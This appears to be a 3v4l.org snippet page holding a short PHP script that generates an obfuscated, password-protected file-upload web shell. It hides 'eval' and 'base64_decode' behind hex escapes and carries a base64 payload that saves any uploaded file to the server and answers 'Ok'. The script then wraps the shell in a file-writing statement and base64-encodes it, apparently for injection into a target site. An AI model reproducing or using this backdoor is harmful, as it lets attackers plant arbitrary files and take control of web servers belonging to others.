3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = '<?php $a="\x65"."v\x61"."l"; $b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);

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24.1 ms | 402 KiB | 5 Q